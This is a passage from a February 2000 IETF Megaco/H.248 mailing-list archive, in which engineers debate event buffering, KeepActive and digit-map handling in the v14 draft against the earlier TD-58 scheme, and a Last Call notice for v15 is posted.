> auto-dialers, MF trunking, etc. Events happen a lot faster
> than human speed
> (which is why you added digit maps). Do you feel confident in
> assuming that this
> is the only case where this is needed ?
>
> As for your second point about MGC being able to keep up with
> event arrival
> rates significantly below network round trip time we are in
> complete agreement,
> and that is precisely my point. Your mechanism has an
> inherent rate limitation
> built into it, and that rate limiation is based on the
> network round-trip time
> for every thing where you don't apply some special mechanism
> (like digit maps).
> This mechanism is basic and belongs in the base protocol!
>
>
> >
> >
> > > TD-58 from Red Bank did not have this limitation. First of
> > > all, the MGC had
> > > the various "accumulate" actions that were designed to
> > > prevent this problem
> > > and limit bandwidth and CPU overhead.
> > It had a per event decision of Notify, Accumulate or process by
> > digitmap.  We have all of those.
>
> Then I've misunderstood something. Where do you have accumulate now ?
>
> >
> >
> > >Secondly, (assuming
> > > MGCP semantics) it
> > > would be possible for the MG to try and empty the EventBuffer
> > > in a single
> > > message based on the current Events Descriptor (arguably, a
> > > parameter to
> > > explicitly allow/disallow this behavior would be beneficial).
> > No one has ever described a scenario where it was once
> unacceptable to send
> > all events, but something occurs which makes it possible to
> send all events
> > in the buffer.  This seems unlikely
> >         Either the MGC is able to run it's own state machine and
> >                 it can handle events whenever they are detected
> >         OR
> >         The MGC has a simplistic view, and can only deal with the MG
> >                 and itself being in lockstep
> >
>
> You are making dangerous assumptions again. Experience has
> taught me that proper
> design rather than current perception and imagination is by
> far the better
> approach.
>
>
> >
> > >
> > > 3. There is a dual use of the Eventbuffer parameter which is
> > > unfortunate.
> > > Following a Notify where the Eventbuffer was "on", there is
> > > no way for the
> > > MGC to subsequently request that
> > > a) All the currently buffered events should be processed
> > > b) Future events should not be buffered events but simply
> > > sent immediately
> > This is the same as above.  Somehow, the MGC couldn't handle all
> > events, and now it can.  How can this be?
> > I would be willing, I suppose, to allow this (that is, have some way
> > to empty the Event Buffer by Notify rather than just clearing it),
> > but no one has been able to come up with a really interesting
> > case where the MG flips EventBuffering on and off.  I expect it will
> > set it one way and leave it.
>
> Same comment as above. I would much prefer proper design
> instead assumptions
> which may or may not hold down the road.
>
> >
> >
> > Please cite an interesting case where some events should be
> buffered,
> > but there comes an event where the buffer should be sent all at
> > once (and where it is unacceptable to send the events as they
> > are detected).
>
> Same comment as above.
>
>
> >
> >
> > > A simple solution to this problem would be to separate the
> > > parameter into
> > > two, which is precisely what the BufferedEventProcessingMode
> > > in TD-58 did.
> > Covered above, although no one could ever precisely explain
> to those of us
> > who sat through countless hours of discussion and email
> what the 4 states of
> > two variables were used for.
> >
>
> I disagree. Experience will tell us who is right. With my
> approch we can't
> loose, with yours we certainly can.
>
> >
> > >
> > >
> > > Finally, from a design perspective, the above solution
> contains some
> > > fundamentally undesirable properties. Most problematic is the
> > > hard-coded
> > > Notify of events which effectively provides a stimulus based
> > > approach to
> > > event handling with none or little future support for
> scripting. It
> > > effectively prevents us from taking advantage of more powerful and
> > > sophisticated MGs that are able to do some amount of
> local processing
> > > thereby
> > > - reducing bandwidth requirements
> > > - reducing MGC processing requirements (and complexity)
> > > - improves responsiveness as the network round-trip does
> not become a
> > > bottleneck
> > > Opponents to this point of view may claim, that packages with
> > > new events,
> > > signals, and properties can be defined that effectively
> > > achieve the above,
> > > as e.g. was done for digitmaps/DTMF detection. While that is
> > > indeed the case
> > > (and there are valid use cases for such), the point that
> > > needs to be made,
> > > is that the mechanisms are basic and of such high value that
> > > they should be
> > > supported natively rather than only by higher level
> > > mechanisms which may or
> > > may not be able to interact with each other. Consider for
> example the
> > > current DTMF detection scheme. As a consequence of the higher
> > > layer approach
> > > taken, it is not able to report incoming DTMF digits and
> > > other inter-twined
> > > events in the correct order, since the DTMF detection
> > > mechanism must itself
> > > be exactly one event (digit map completion). Another
> example is the
> > > interaction with signal interruption, e.g. dial-tone.
> Again, special
> > > consideration (define it to take place on the first digit) is
> > > needed to
> > > achieve the desired behavior although the event really has
> > > not occurred yet.
> > Scripting is, as you know, a version 2 problem.
> Presumably, scripting need
> > not limit itself to the same view of events, or more
> precisely, it would
> > probably handle event detection as they occurred, and
> generate Notifies (if
> > appropriate), whenever the script decided to.  I would
> allow scripts to run
> > on detection, allow them to put events in the buffer, and
> allow them to run
> > on Notify (which would include allowing the Notify script
> to paw through the
> > buffer).
>
> Yes I know. What you are telling me know, is that yes, the
> current event
> handling mechanism is probably not adequate for scripting and
> you would do
> something special, e.g. not perform the hard-coded Notify we
> saw above. What
> about interaction between different schemes, consistency,
> ease of understanding,
> etc. This looks very flaky to me and that is precisely my point.
>
>
> >
> > > Such requirements for special treatment and consideration
> are simply
> > > evidence of lack of generality that should not show up at
> > > this stage. The
> > > solution specified in TD-58 from Red Bank did not suffer
> from these
> > > drawbacks.
> > Disagree as per above
>
> You are going to have to explain the drawbacks of TD-58 to
> me. I have now
> offered you drawbacks with the v14 scheme. Considering that I
> have not seen you
> (or anyone else for that matter) explain any kind of
> drawbacks with the TD-58
> scheme and that I have shown several drawbacks with the v14
> scheme, I think it
> is your turn to explain the problems with TD-58 now. You have
> been very adament
> about not making changes without any good reason, so I would
> like to see that
> same rule applied to TD-58.
>
>
>
> >
> > >
> > > Some additional comments below
> > >
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > Coming out of Red Bank there was NO consensus on Events,
> > > > there was in fact wide disagreement on events.  Coming out of
> > > > Washington, there was NO consensus on events, there was in fact
> > > > wide disagreement on events.  The proposal we have in V13 was
> > > > an attempt to fix what people saw as problems in the event
> > > > mechanism.
> > > >
> > > > In Red Bank, no one could explain how the MGCP mechanism works.
> > > > In Washington, several people attempted to explain how it works
> > > > (Christian Huitema was not there for that session).  Today in
> > > > fact, I'll bet you if you ask 10 people who claim they
> understand
> > > > how the MGCP mechanism works, you would get several answers,
> > > > although I would grant you that there is not a lot of variation
> > > > in the implementations.  The V13 mechanism was not
> comprehensible
> > > > to anyone in the design meetings in Washington or Red Bank.
> > >
> > > If understanding the MGCP mechanism is the real problem, then
> > > I'm sure we
> > > can get the right people to clarify. Having spent a lot of
> > > time on this
> > > (admittedly confusing) aspect myself, I can certainly
> offer my help if
> > > needed. As for a general lack of understanding of the
> > > mechanism I think you
> > > are exagerating. There may be small details here and
> there that people
> > > interpret differently, but I bet you any mechanism you
> > > specify will suffer
> > > from this, including yours.
> >
> > Flemming, there are a core of about 5 people who sat and argued and
> > questioned and puzzled about the MGCP mechanism over two
> IETF meetings, the
> > Red Bank meeting and the email list.  Check the archives -
> there are lots of
> > messages that attempt to explain how the MGCP mechanism
> works.  No two
> > people agreed.  I asked 4 people who said they were part of
> implementation
> > teams.  They all explained it differently, although it
> seems that they
> > implemented it close to the same thing.  I believe the MGCP
> text is poorly
> > written, poorly understood.  AND, even when people more or
> less explained
> > how it worked, they were totally unable to explain how you
> would use it.
>
> I'm not talking about MGCP, I'm talking about TD-58. You are
> the editor and have
> done an outstanding job under some very different
> circumstances. If there is
> text that needs clarification, well then clarify it, don't
> scratch the mechanism
> and rewrite it from scratch.
>
> What if I ask you to explain how multimedia and streams work
> and whether they
> are indeed adequate for what we want to do. I bet you will
> have a very tough
> time (I know since you've stated your concerns on this issue
> several times)
> doing that, but that doesn't meen you just rewrite it, right ?
>
> In any case, we are drifting away from the technical points,
> which is what I
> want to focus on. Bottom line is, that I strongly believe the
> TD-58 scheme was
> better than what we now have in v14. Based on all of the
> above and in the
> absence of you explaining any problems with the TD-58 mechanism and
> demonstrating advantages with the v14 mechanism, I must again
> ask for the text
> to be brough back in accordance with the outcome of the Red
> Bank meeting. If
> not, we have a significant change, and no consensus....
>
>
> >
> >
> > >
> > >
> > > >
> > > >
> > > > I still have never been given any semblance of a reason why
> > > > the variables in the MGCP exist, and what you do with them.
> > > > I can, and have, provided same for the current
> mechanism.  So far
> > > > we have not, save the confusion over the digitmap/keep active
> > > > confusion, found a problem.
> > >
> > > If you can be more specific I will do my best to try and explain.
> > >
> > > >
> > > >
> > > > So far, I have found people who want the MGC to sort out events,
> > > > and they want them as fast as the MG finds them.  I also found
> > > > people who want a simple state machine, with the MG and MGC in
> > > > lock step over what should happen.  We cater to both of those.
> > > > You seem to want something in between, something where the MG
> > > > has more knowledge about what the MGC wants, and when
> it wants it
> > > > than I can figure out.  I can't understand how anything
> in between
> > > > gimme all of them, and gimme the next one can work; please
> > > > enlighten me.
> > >
> > > Scripting! It comes in many shapes and forms (although not as
> > > many and not
> > > as powerful as you might want right now). You have
> already defined one
> > > yourself; digit maps. What accumulate, etc. gives you is
> essential the
> > > foundation to build on here. It can even be used natively in
> > > some cases,
> > > e.g. for MF trunking if you so desire.
> > >
> > > >
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > > > > Sent: Friday, February 04, 2000 2:11 PM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Cisco SG16: Keep Active
> > > > >
> > > > >
> > > > > Hi Brian
> > > > >
> > > > > Some comments below
> > > > >
> > > > > Regards
> > > > >
> > > > >             Flemming
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > We have just had a discussion on this issue, and I
> believe it
> > > > > > addresses it: digitmaps on dtmf optimizes reporting
> > > > > > of dtmf detection, but is otherwise the same as
> individual dtmf
> > > > > > events being enabled.  By that definition,
> KeepActive works the
> > > > > > way you wanted it; without it, signals stop with
> first detected
> > > > > > digit.  With it, signals continue while digits are detected.
> > > > > > So your IVR app would specify KeepActive on the
> > > digitmap completion
> > > > > > event, and use an embedded signal to turn it off if you
> > > wanted to.
> > > > > > The old mechanism doesn't work any differently; if you
> > > had specified
> > > > > > keepactive on the digits, whether or not they were
> accumulate by
> > > > > > digitmap actions, you still would not be able to treat
> > > the initial
> > > > > > digit differently from the terminating digit.  The
> only way you
> > > > > > could make this better would be to have the
> digitmap completion
> > > > > > event entirely separate from the dtmf detection
> events, so you
> > > > > > could have KeepActive separately on the digits from the
> > > completion.
> > > > > > I think embedded signals is a better answer, but I'm on
> > > record as
> > > > > > thinking that digitmaps should be a package and not a basic
> > > > > > protocol.
> > > > > >
> > > > > > I'll deal with any problems we still have with the
> current text,
> > > > > > but a "everything changed" complaint without a problem
> > > is a no-op.
> > > > >
> > > > > I beg to differ. A change without a problem is
> > > > > counterproductive and what
> > > > > gets into these situations. We had something perfectly fine
> > > > > after the Red
> > > > > Bank meeting which for some reason was changed. Exactly
> > > *what* was the
> > > > > problem that prompted this massive change (I'll spare you
> > > the ITU-T
> > > > > procedural arguments here). If there were no compelling
> > > > > reasons, then I
> > > > > suggest that the text is simply brought back in line with the
> > > > > agreement from
> > > > > Red Bank, and then we can close this (big) one and move along.
> > > > >
> > > > > If you really want to, we can start a debate about the
> > > > > relative merits,
> > > > > trade-offs, and shortcomings of one scheme versus the other.
> > > > > A couple of
> > > > > topics off the top of my head
> > > > > - Reduced number of messages and resultant reduced load
> > > on network and
> > > > > entities
> > > > > - Effective event arrival rate not limited by MGC-MG
> > > round-trip time
> > > > > - Support for scripting
> > > > >
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > brian
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Chip Sharp [mailto:chsharp@cisco.com]
> > > > > > > Sent: Friday, February 04, 2000 12:12 AM
> > > > > > > To: MEGACO@standards.nortelnetworks.com
> > > > > > > Subject: Re: Cisco SG16: Keep Active
> > > > > > >
> > > > > > >
> > > > > > > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
> > > > > > > >
> > > > > > > >
> > > > > > > >I think the primary need here is for clarifying text in
> > > > > > > section 7.1.14
> > > > > > > >indicating that events mapped into a digit map do
> > > not generate
> > > > > > > >notifications, but do terminate ongoing signals
> unless the
> > > > > > > KeepActive flag
> > > > > > > >is set.
> > > > > > > Not really. The fundamental problem is the
> complete rework of
> > > > > > > the agreed
> > > > > > > upon event handling mechanism that for some
> reason was done
> > > > > > > after the Red
> > > > > > > Bank meeting.
> > > > > > >
> > > > > > > >
> > > > > > > >-----Original Message-----  From:  Chip Sharp
> > > > > > > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January
> > > 25, 2000 7:43
> > > > > > > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
> > > > > > >   Cisco SG16:
> > > > > > > >Keep Active
> > > > > > > >
> > > > > > > >Section:        7.1.9, "Event Actions"
> > > > > > > >table  Category:       Technical  Issue:
>  The draft
> > > > > > > text specifies
> > > > > > > >that "KeepActive:      As Notify, but
> production of signals
> > > > > > > continues (if
> > > > > > > >any signals were active)".The above  definition is overly
> > > > > > > restrictive in
> > > > > > > >that it prevents events from being  accumulated
> (either with
> > > > > > > or without
> > > > > > > >digit map) and at the same time keeping  a signal active.
> > > > > > > For example an
> > > > > > > >IVR application accumulating a string of  user input and
> > > > > playing an
> > > > > > > >announcement until the entire string is
> accumulated cannot
> > > > > > > be supported
> > > > > > > >with the above behaviour.  Proposal:       It is
> > > > > recommended, that
> > > > > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > > > > becomes possible to
> > > > > > > >specify multiple actions such that  "KeepActive" can be
> > > > > > > combined with,
> > > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > > the particular
> > > > > > > >application.
> > > > > > > >
> > > > > > > >v13 Status:     OPEN. Event actions table has been
> > > removed and
> > > > > > > >extensive  modification of entire event processing
> > > taken place.
> > > > > > > >
> > > > > > > >Section:        7.1.9  Category:       Technical  Issue:
> > > > >          The
> > > > > > > >draft text specifies that "When KeepActive is specified
> > > > > as the  event
> > > > > > > >action, the media gateway shall send a Notify
> message to the
> > > > > > >  controller
> > > > > > > >upon detection of the event. Furthermore, the controller
> > > > > shall  not
> > > > > > > >interrupt any signals active on the Termination on which
> > > > > the event
> > > > > > > >is  detected" The above definition is overly restrictive
> > > > > in that it
> > > > > > > >prevents  events from being accumulated (either with or
> > > > > > > without digit map)
> > > > > > > >and at the  same time keeping a signal active. For
> > > example an IVR
> > > > > > > >application  accumulating a string of user input and
> > > playing an
> > > > > > > >announcement until the  entire string is
> accumulated cannot
> > > > > > > be supported
> > > > > > > >with the above behaviour.  Proposal:       It is
> > > > > recommended, that
> > > > > > > >"KeepActive" does not generate a "Notify"  and that it
> > > > > > > becomes possible to
> > > > > > > >specify multiple actions such that  "KeepActive" can be
> > > > > > > combined with,
> > > > > > > >e.g. "Notify" or "AccumulateByDigitMap"  depending on
> > > > > the particular
> > > > > > > >application.
> > > > > > > >
> > > > > > > >v13 Status:     OPEN. Extensive modifications of event
> > > > > handling has
> > > > > > > >taken  place. Events now always reported immediately on
> > > > > detection.
> > > > > > >
> > > > > > > Support NetAid!  http://www.netaid.org
> > > > > > > --------------------------------------------------
> > > > > > > Chip Sharp                 Consulting Engineering
> > > > > > > Cisco Systems              Telco Bio-region
> > > > > > > Reality - Love it or Leave it.
> > > > > > > --------------------------------------------------
> > > > > > >
> > > > >
> > > > > --
> > > > > ---------------------------------------
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > > ---------------------------------------
> > > > >
> > > > >
> > >
> > > Regards
> > >
> > >         Flemming
> > >
> > > --
> > > ---------------------------------------
> > > Flemming Andreasen
> > > Cisco Systems
> > > ---------------------------------------
> > >
> > >
>
> Regards
>
>         Flemming
> -
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 11:14:32 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29710
	for ; Tue, 8 Feb 2000 11:14:27 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.339B5EC0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 11:11:09 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32195 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 11:09:37 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.FCB4A6F0@standards.nortelnetworks.com>; Tue, 8 Feb 2000
          11:09:37 -0500
Received: from zmers013 by smtprch1.nortel.com; Tue, 8 Feb 2000 10:11:17 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Tue, 8
          Feb 2000 11:11:02 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1NWN6F0P>; Tue, 8 Feb 2000 11:11:01 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF724F.174EC7C8"
Message-ID:  
Date:         Tue, 8 Feb 2000 11:10:58 -0500
Reply-To: Nancy-M Greene 
Sender: "Media Gateway Control (megaco)"
              
From: Nancy-M Greene 
Subject:      Re: Last Call
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF724F.174EC7C8
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

After posting, I noticed that the I-D name in v15 should say
draft-ietf-megaco-protocol-06.txt, so I have just uploaded the files =
again
with this change. The I-D itself, draft-ietf-megaco-protocol-06.txt, =
should
be ready later today, and on the IETF ftp site within a day or two.

Nancy
------------------------------------------------------------------------=
--
Nancy M. Greene=20
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

> ----------
> From:         Greene, Nancy-M [CAR:5N40:EXCH]
> Sent:         Tuesday, February 08, 2000 10:47 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Last Call
>=20
> v15 is available at:=20
>=20
> ftp://standards.nortelnetworks.com/megaco/docs/latest=20
>=20
> file names:=20
>=20
> MegacoH248v15.doc=20
> MegacoH248v15doc.zip=20
> MegacoH248v15.PDF=20
>=20
> It has change bars against v14. v14 is =
draft-ietf-megaco-protocol-05.txt .
>=20
>=20
> Note that v14, v13, v12 are still available if you want to look at =
them.
> They are in=20
> ftp://standards.nortelnetworks.com/megaco/docs/Adelaide2000=20
>=20
> Nancy=20
> =
------------------------------------------------------------------------=
--
>=20
> Nancy M. Greene=20
> Internet & Service Provider Networks, Nortel Networks=20
> T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com=20
>=20
>       ----------=20
> From: =A0 Taylor, Tom-PT [CAR:B904:EXCH]=20
> Sent: =A0 Tuesday, February 08, 2000 8:11 AM=20
> To: =A0=A0=A0 MEGACO@STANDARDS.NORTELNETWORKS.COM=20
> Subject: =A0=A0=A0=A0=A0=A0 Last Call=20
>=20
>       If Last Call is to have anything meaning at all, it must be
> conducted during=20
> the present SG 16 meeting.=20
>=20
>       Nancy is about to put MegacoH248v15 on the site.=A0 I invite Last =
Call
>=20
> comments based on this version of the document.=A0 We can recycle as
> necessary=20
> to reflect decisions taken.=20
>=20
>       Sorry for not drawing the line in early December, when (in
> hindsight) we=20
> might have done things more cleanly.=20
>=20
>       Tom Taylor=20
> Advisor -- Emerging Carrier IP Standards=20
> E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)=20
> Phone and FAX: +1 613 736 0961=20
>=20
>=20

------_=_NextPart_001_01BF724F.174EC7C8
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Last Call




After posting, I =
noticed that the I-D name in v15 should say =
draft-ietf-megaco-protocol-06.txt, so I have just uploaded the files =
again with this change. The I-D itself, =
draft-ietf-megaco-protocol-06.txt, should be ready later today, and on =
the IETF ftp site within a day or two.



Nancy

-----------------------------------------------------------------=
---------

Nancy M. Greene 

Internet & Service =
Provider Networks, Nortel Networks

T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com





------_=_NextPart_001_01BF724F.174EC7C8--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 12:06:41 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02220
	for ; Tue, 8 Feb 2000 12:06:40 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7D3B77C0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 12:03:19 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 32318 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 12:02:14 -0500
Received: from mtiwmhc01.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.55FC7880@standards.nortelnetworks.com>; Tue, 8 Feb 2000 12:02:13
          -0500
Received: from worldnet.att.net ([12.78.106.25]) by mtiwmhc01.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000208170425.VSOZ11@worldnet.att.net>; Tue, 8 Feb 2000 17:04:25
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088D9@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A04D0F.85C61EB4@worldnet.att.net>
Date:         Tue, 8 Feb 2000 12:06:25 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Keep Active
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

"Rosen, Brian" wrote:

> Flemming
>
> Rather than go through this, it seems we are in an impasse.
>
> I believe that the two modes provided give you all the tools
> required to either have events sent to the MGC as fast as they
> occur, but with little filtering, or, to have the MGC and the MG
> be in lock-step on processing events.  If there are some wording
> problems that make you think this is not so, we will have to change
> them, as that is the intent.

I think we are in agreement on this particular requirement part, however I
believe there are details to be worked out as explained in my previous e-mail.
My caveat here is the "lock-step on processing events", where I want a mechanism
that allows you more flexibility in this processing than what you have specified
in v14. TD-58 satisfies those requirements.

>
>
> It would seem that there is only one fundamental difference in the
> two mechanisms: you seem to want a way to have some events get buffered, and
> then have something occur which causes the buffer
> to be sent.  I think there is no such requirement.  Let me rephrase
> that a little: the benefit of creating in-between mechanisms
> is outweighed by the complexity of the mechanism required, and the
> lack of agreement on what additional complexity is warranted.

Precisely what complexity are we talking about here ? Despite the "no-op" change
rule, I have played along and taken your v14 proposal and explained the problems
I see with it. I think it's your turn to come forward with specific problems in
the TD-58 scheme now.



> I think you would agree that the "send events as you find them"
> always works, it's just that the MGC may have to throw away some
> events it may have been able to avoid seeing, which raises the
> complexity of the MGC code required.  The issue is, how do you
> find a middle ground that is truly useful?  I don't see it,
> no one has supplied any justification for it.

I believe TD-58 provides that middle ground. As for the usefulness I can only
point to MGCP experience which truly is the only experience we have in this
area. The experience we have there, is that the mechanism is sufficient. To give
you some justification, I can (again) point you to, say MF trunking where I know
of one example that took advantage of the combination of "Accumulate" and
"Notify" action. There has also been some preliminary work done on scripting,
and having a hard-coded Notify in the event handling would have been disastrous.

>
>
> I have asked for an example of a system which needed some events buffered,
> but others notified immediately, along with the buffer.
> What you have provided in response is a "good design principals"
> argument.  Simplicity is a good design principal.

You are mixing two separate issues (or leaving out the main point).

The first (and most important) issue is that I have a fundamental desire to
provide a mechanism that allows the MG to some local processing. Can I
demonstrate an absolutely need for this ? Of course not, it's an optimization,
just like digit maps, pending responses, etc. are an optimization. Now I happen
to believe (and have argued why several times now) that enabling local
processing in the MG is very important, and the protocol absolutely must be
designed with this in mind. Its good to simplify, but not to oversimplify.

The second issue is whether a given MGC-MG relationship can ever have a need to
sometimes Notify all events at once, and sometimes notify them in lock-step.
This is where I apply the good design principle. Again, you are asking for a
*necessity* example, well that's going to be hard for the same reasons as above.
I see this property as enabling simplified MGC's and allowing for some
flexibility in when you want to enable local MG processing and when you will
not.

The fundamental problem I am having with this discussion, is that you cannot (or
at least have not) explained a single problem with the TD-58 mechanism, but
regardless you come up with a new mechanism. Whatever limitation I desribe with
this new mechanism is simply addressed as something you can't imagine being
useful (at least not necessary). Now, Brian you know I have a lot of respect for
you, but having the protocol limited by your imagination when seemingly good
alternatives exist in TD-58 is (with all due respect) simply not the way to do
it. I ask you one more time to explain to me exactly what the problem with TD-58
(details or requirements ) is ?


>
>
> The rest is details; we can handle that if there is consensus
> on the requirements.

I'm not sure there is, but it's probably a good idea to have two separate
threads on this one. Maybe we should start with the Megaco requirements, e.g.
Section 5.4:

"The Protocol must:
...
c.   Allow reporting of detected events on the MG to the MGC. The proto-
     col should provide the means to minimize the messaging required to
     report commonly-occurring event sequences.

d.   Allow the MGC to specify other actions (besides reporting) that the
     MG should take upon detection of specified events."


I don't really see v14 event handling satisfying these, however TD-58 certainly
does.


-- Flemming


>
>
> Brian
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > Sent: Tuesday, February 08, 2000 10:27 AM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Cisco SG16: Keep Active
> >
> >
> > Brian
> >
> > Thanks for your detailed response - a detailed answer follows
> > below. To
> > summarize for those that do not feel like going through all
> > the details here:
> > 1. I still see significant drawbacks with the v14 scheme
> > 2. I do not see those drawbacks with the TD-58 scheme
> > 3. I have seen no advantages being offered with the v14
> > scheme compared to the
> > TD-58 scheme
> >
> > and consequently I must ask for the TD-58 scheme to be reinstated.
> >
> >
> >
> > "Rosen, Brian" wrote:
> >
> > > Thank you for taking the time to go through your issues.
> > > I only wish you had done so two months ago!  Before dealing with
> > > specifics, there is one aspect of the current mechanism you seem
> > > to have misinterpreted.  When EventBuffering is ON, events detected
> > > are compared against the EventBuffer Descriptor, not the
> > Events Descriptor.
> >
> > You are right. While that addresses one specific comment
> > below, it does not
> > solve the fundamental problems though.
> >
> > >
> > >
> > > ...snip...
> > > > The current event handling mechanism in Megaco/H248 v14 can
> > > > be viewed as
> > > > three processes that all interact. Events can be viewed as
> > > > always being
> > > > added to an event buffer (a FIFO queue) by an Event
> > Detection process.
> > >
> > > > Another Event Processing process then removes these events
> > > > from the FIFO
> > > > queue. When a notification is sent, this process may block,
> > > > waiting for a
> > > > new Events Descriptor to be received. Events detected
> > > > meanwhile will simply
> > > > be added to the FIFO queue. Finally, whenever a new
> > > > Events Descriptor is
> > > > received the third process runs. This process determines the
> > > > fate of events
> > > > of events sitting in the FIFO queue, and installs a new
> > > > Events Descriptor.
> > > >
> > > > The processes are illustrated in pseudo-code below
> > > >
> > > > Process 1: Event Detection
> > > > ===================
> > > > do {
> > > > 
> > > > if < event in current Events Descriptor> then   /* current
> > > > Events Descriptor
> > > > */
> > > >   
> > > >  else
> > > >   
> > > > } forever
> > > The buffering process does not always buffer events.  In most
> >
> > Like I said, one way of viewing the procedure is the way I
> > describe it. This is
> > classic producer-consumer problem we are looking at here.
> >
> >
> > >
> > > cases, it immediately Notifies.  The decision process is:
> > >         If EventBuffering is On,
> > >                 If no events have been detected
> > >                         ; the first event is immediately processed
> > >                         If it is in Events Descriptor
> > >                                 Notify immediately
> > >                         Else
> > >                                 discard
> > >                 Else
> > >                         If it is in EventBuffer Descriptor
> > >                                 place in the buffer
> > >                         Else
> > >                                 discard
> > >         Else
> > >                 If the event is in Events Descriptor
> > >                         Notify immediately
> > >                 Else
> > >                         discard
> > >
> > > To be really precise, it's possible that an event will occur
> > > while another event is being processed when EventBuffering is Off,
> > > and you could consider the second event in some kind of buffer.
> >
> > > I personally wouldn't - if it made it before I finished the Notify,
> >
> > > I'd add it to the Notify in process.  If it was after, I'd just hold
> > > off processing it until I was done.
> >
> > That's not what the current text specifies, so if this is the
> > behavior you want
> > the text should be changed accordingly.
> >
> >
> > >
> > >
> > >
> > > >
> > > > Process 2: Event Processing
> > > > ===================
> > > > do {
> > > >  < wait for event in event buffer>
> > > >  < remove first event from event buffer>
> > > >  if  then {
> > > >   Notify(event)
> > > >   if  (Eventbuffer = "on") then  /* current Events Descriptor */
> > > >    
> > > >  }
> > > > } forever
> > > I'd say this process doesn't exist
> >
> > Depends on how you look at it. Like I said, this is one way
> > of looking at it. It
> > achieves precisely the same as your algorithm above
> >
> > >
> > >
> > > > Process 3: New Event Descriptor
> > > > =======================
> > > > if    /* new EventsDescritpr */
> > > >  
> > > > 
> > > This is incorrect.  The first part is correct (clear eventBuffer if
> > > EventBuffering is off).  The second part is:
> > >   Else
> > >         While EventBuffer has any events
> > >                 If Event is in new Events Descriptor
> > >                         Notify this event
> > >                         Exit loop
> > >                 Else
> > >                         discard
> > >         End Loop
> >
> > No. Take another look at process 2, which is my consumer
> > process. The effect is
> > precisly what you have specified, however all of these are
> > really besides the
> > point.
> >
> > >
> > >
> > > >
> > > > Unfortunately, this mechanism suffers from some drawbacks,
> > > > especially when
> > > > compared to the mechanism that was specified in TD-58 after
> > > > the Red Bank
> > > > meeting:
> > > >
> > > > 1. Events to be detected in process 1 are always determined
> > > > by the current
> > > > Events Descriptor. This is an unfortunate restriction
> > which may prevent
> > > > detection of events that arrive more rapidly than the round-trip +
> > > > processing time. For example, an application may initially
> > > > wish to detect
